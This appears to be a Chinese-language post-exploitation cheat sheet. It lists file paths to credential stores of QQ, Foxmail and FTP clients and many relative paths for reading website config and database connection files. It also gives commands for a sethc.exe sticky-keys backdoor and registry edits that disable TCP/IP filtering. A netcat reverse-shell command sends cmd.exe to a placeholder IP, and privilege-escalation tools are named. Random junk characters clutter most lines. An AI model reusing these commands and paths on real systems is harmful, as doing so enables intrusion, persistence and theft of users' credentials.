c:\Program Files\Tencent\qq\User.db
9 q' i4 Q1 s2 D' B: S4 ~c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
# \+ i8 u0 X1 Y5 N8 |c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
3 H% X8 @( x. P% WC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
  {- `7 D% J; \' u6 b2 U5 Jc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
& i  _# f; w) p  }1 m1 }. Dc:\Program Files\Tencent\RTXServer\AppConfig.xml
8 A  T( O* I) f& LC:\Program Files\Foxmal\Foxmail.exe
' q: l2 b# y5 Q% N* tC:\Program Files\Foxmal\accounts.cfg
/ A) j4 n/ p5 A: Q$ |C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
# p7 ~! h  E( Y8 f* {% V$ NC:\Program Files\LeapFTP 3.0\LeapFTP.exe
6 I# ^1 T) X$ L2 s$ y* cC:\Program Files\LeapFTP\LeapFTP.exe
: x5 _6 ~5 j  Q9 bc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
: Y" ]8 p7 h* H6 S! j8 k5 eC:\Program Files\FlashFXP\flashfxp.exe
. P" {* J. ^3 ec:\Program Files\Oracle\bin\regsvr32.exe
; F8 L: Y- {- [* fc:\Program Files\腾讯游戏\QQGAME\readme.txt
2 ~2 B/ L5 E% ~' z0 b6 Yc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
$ e- J5 ~- u, N  J; b0 ~4 ZC:\Program Files\StormII\Storm.exe

, a7 F# |: S3 H- v) d3.网站相对路径:
, \0 U$ r$ Z5 s4 c( E
# m- I6 f* \4 S. k' \9 e7 D' v8 x/config.php
# r& T# F$ S0 F7 R! [7 L1 j../../config.php
../config.php
../../../config.php
9 K$ f  n! \! j* N1 w/config.inc.php
./config.inc.php
5 Q8 ^8 a  b. T! A( Z2 X; `6 o/ @$ m../../config.inc.php
- ^3 H' q0 W4 F" {' h../config.inc.php
../../../config.inc.php
! a- D0 D4 A/ V3 C/ x7 q! L/conn.php
; H" S' R% k: b: I" l  {./conn.php
& F' P7 ]% V* K( o& I../../conn.php
, `) V, f: d/ `$ m5 P../conn.php
- Q0 Y: b4 X9 a. L  @) O../../../conn.php
6 B- u0 c* c9 F" N2 e* `/conn.asp
! x5 e6 H0 m& p5 c5 U4 b./conn.asp
../../conn.asp
! R& V# [  d: m../conn.asp
) P: s; V, c" D* i../../../conn.asp
. w5 a2 g) b9 T$ ~9 Y" Z/config.inc.php
! F( o4 c6 _3 _  g+ j./config.inc.php
; m; g' q) k3 N- Y' z+ K+ D2 C; x../../config.inc.php
/ U3 w0 t& x/ b* e& o../config.inc.php
../../../config.inc.php
) f0 ~1 G( b6 `% d% v/config/config.php
../../config/config.php
../config/config.php
, V1 s. B9 [/ {' }, @9 X) Q( o7 N../../../config/config.php
/config/config.inc.php
( n+ X$ `, c& M- B5 K./config/config.inc.php
3 U  R0 f3 V$ A3 N, ~: ^' t../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/config/conn.php
7 n) I' E  w) S7 A" p1 C./config/conn.php
" R6 m2 o% \4 B( \) f( m/ X* C../../config/conn.php
# K" t' _* E* O4 x: B! P../config/conn.php
, A% o0 V# L# G& h( [0 r4 k3 {* C4 y../../../config/conn.php
/config/conn.asp
./config/conn.asp
../../config/conn.asp
0 ?, @* [1 {2 C8 S../config/conn.asp
../../../config/conn.asp
- |# X$ Z1 ^2 }/ k' K/config/config.inc.php
9 B! w, W" N  c9 U) N4 s9 p" n./config/config.inc.php
1 f8 \2 Y5 F$ _. G6 q* b* B1 S" K../../config/config.inc.php
../config/config.inc.php
+ X# i* C$ H% w# E/ q../../../config/config.inc.php
: U8 e/ h( q" [$ l4 s- e/data/config.php
0 r( r; E$ W/ M( I3 x/ ~../../data/config.php
1 Y; }! a& G5 X9 z0 C../data/config.php
( {2 I' ^4 Q! M../../../data/config.php
: O' g% S4 F* E' a/data/config.inc.php
3 @3 N. ]' b5 U- J./data/config.inc.php
: @. |( v9 t: S1 h2 L# r% F../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
3 ~# R  Y4 _* {  G8 W* G, |, s/data/conn.php
* f; b1 y- V" E7 H4 I3 W./data/conn.php
../../data/conn.php
../data/conn.php
../../../data/conn.php
# t/ l# w- @3 i/ B/data/conn.asp
./data/conn.asp
../../data/conn.asp
" ~1 z* Z/ N! |; M8 n# z! d../data/conn.asp
../../../data/conn.asp
1 I% g- z# f; U; ~8 u$ i: l) _. g( [/data/config.inc.php
$ q* V0 w: c- ?. L/ K./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
) L+ E: G: |6 U' S  ^( e/include/config.php
0 d0 S) D/ N+ V../../include/config.php
../include/config.php
6 O+ D8 C% ^9 [: X  u; [% V/ ^8 W../../../include/config.php
- p2 G. o  p3 Z6 Y7 m/include/config.inc.php
/ i  L1 \1 t3 P6 w6 O$ N9 l- O./include/config.inc.php
+ A/ t; o5 d, g! U) ^../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
2 a+ v$ k6 Y( a7 _" L/include/conn.php
3 s  }: |4 @- h./include/conn.php
, m! ^/ B+ Z7 T1 z../../include/conn.php
../include/conn.php
../../../include/conn.php
/include/conn.asp
./include/conn.asp
../../include/conn.asp
../include/conn.asp
# E+ q0 y+ x2 c2 \/ o- x/ s9 H../../../include/conn.asp
( \" [# R: |5 A" x/ ]7 \+ M/include/config.inc.php
$ U6 t/ {5 i! Y* L8 M  n0 f/ D) Z3 e./include/config.inc.php
' K  x! r2 ^5 s9 ~3 O6 h../../include/config.inc.php
* Y5 e7 j" X& @6 k0 H( J../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
../../inc/config.php
../inc/config.php
  j! s* V7 ~+ s" M. F../../../inc/config.php
/inc/config.inc.php
8 b$ \4 Y/ c8 T9 p./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
* [6 z5 ]/ o$ m- A  Y5 l4 e) I$ h$ ]../../../inc/config.inc.php
) d0 u; g- d5 J+ r/inc/conn.php
3 W  p4 X9 N# _& S! x./inc/conn.php
../../inc/conn.php
) V1 x" C6 D/ h  P, O' v../inc/conn.php
4 w( t/ o8 J% n3 M9 g../../../inc/conn.php
/inc/conn.asp
& L' m5 G( c7 M, f! u./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
7 n1 M" G9 j2 z5 F. i8 T../inc/config.inc.php
9 X& U- l- i9 h, X% R# I../../../inc/config.inc.php
- h) {- r6 X7 ?- q( {$ ?$ y/index.php
% n1 a4 d- _& k5 q, I) }0 U2 _3 |./index.php
+ T- [% _1 ?* Z7 }" J../../index.php
& ~" H& R. v: \5 i! p../index.php
../../../index.php
2 x, i/ |. M" X- L' L/index.asp
; V1 q9 R# A+ m$ D./index.asp
2 k" S' j1 B: N4 u../../index.asp
# D& G8 j# `( |. s' B* N( z) d../index.asp
0 E, B! c# {7 i+ _- {3 Y../../../index.asp
2 h3 ~; s! X- X) S2 E2 L+ n- ?: m替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
: i- ]/ G* u! F5 n# ]
+ F8 [8 Z8 ~* d$ v* Q　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
: a, H9 i' S& U1 P, [
7 \5 }' q6 u# ?" q. D# C; E7 a　　del c:\windows\system32\sethc.exe
" Q, }9 x9 u5 @; m
' S7 G) N  [6 K* d　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

+ g. W/ X! w3 q　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

/ v5 Y( M6 x# [9 e& `　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
1 w9 \& g" D6 U9 X+ B+ Q& PTCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
; g& O( _# W! K$ L/ lHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
4 _9 }! a4 j, R* R4 ?# f3 Q
( S2 Q. ]6 u! i% M2 `分别用
5 ?  y* Y( r9 Q, K" vregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
; O" x; w3 K. O' tregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

再将以上三个文件分别用
3 c) z; u4 k( _0 ?/ U0 A3 ~regedit -s D:\a.reg
$ s" N; O6 G% D$ k! b7 X* N1 [regedit -s D:\b.reg
1 n; y3 h6 F- P! }7 h  R  u6 Eregedit -s D:\c.reg
导入注册表即可
" T1 ~! y: G. `
webshell提权小技巧
5 {8 c0 f+ v# K* p3 Zcmd路径:
c:\windows\temp\cmd.exe
3 n, W9 r. G9 Fnc也在同目录下
例如反弹cmdshell：
- o* X( H3 n2 k% a& [+ i" t"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。

而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
- F7 F% z4 I9 z" r0 [+ w; c却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功